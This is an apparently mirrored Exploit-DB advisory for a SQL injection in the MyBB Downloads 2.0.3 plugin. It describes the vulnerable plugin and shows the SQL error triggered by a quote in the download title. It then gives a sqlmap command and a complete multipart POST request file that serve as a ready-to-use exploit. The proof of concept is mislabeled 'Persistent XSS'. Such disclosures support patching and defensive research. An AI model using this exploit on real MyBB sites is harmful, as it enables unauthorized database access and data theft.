MyBB Downloads 2.0.3 – SQL Injection

  • 作者: Lucian Ioan Nitescu
    日期: 2018-10-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45747/
  • # Exploit Title: MyBB Downloads 2.0.3 - SQL Injection
    # Date: 28-10-2018
    # Exploit Author: Lucian Ioan Nitescu
    # Contact: https://twitter.com/LucianNitescu
    # Webiste: https://nitesculucian.github.io
    # Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
    # Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
    # Version: 2.0.3
    # Tested on: Ubuntu 18.04
    
    1. Description:
    
    It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.
    
    2. Proof of Concept: 
    
    Persistent XSS
    - Go to downloads.php page
    - Create a New Download
    - Add the following to the title: a"
    - Now on submit, the user will be prompted to an SQL Injection specific error.
    
    ```
    MyBB has experienced an internal SQL error and cannot continue.
    
    SQL Error:
    	1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
    Query:
    	SELECT * FROM mybb_downloads WHERE name="a""
    ```
    
    - THis can be exploited with: sqlmap -r request_file -p name --threads 5
    
    3. Request File example:
    
    POST /downloads.php?newdownload=1 HTTP/1.1
    Host: localhost:8081
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost:8081/downloads.php?newdownload=1
    Content-Type: multipart/form-data; boundary=---------------------------171894060312075061251712806160
    Content-Length: 1029
    Cookie: mybb[lastvisit]=1540744980; mybb[lastactive]=1540745020; sid=677a58d33fe23e7f2ea3841c79496fcd; loginattempts=1; mybbuser=3_waeMfSMiIRrTpPqW2uy8ZF8AMx8pyRtMCUJ6Gx0yoGRyLBsBow
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="my_post_key"
    
    6cb47e578ed16aa5272c55b0cb8745b4
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="name"
    
    a"
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="shortdesc"
    
    test
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="description"
    
    test
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="image"
    
    
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="url"
    
    1
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="numimages"
    
    4
    -----------------------------171894060312075061251712806160
    Content-Disposition: form-data; name="submit"
    
    Publish download
    -----------------------------171894060312075061251712806160--
    
    3. Solution:
    
    There is no public available solution.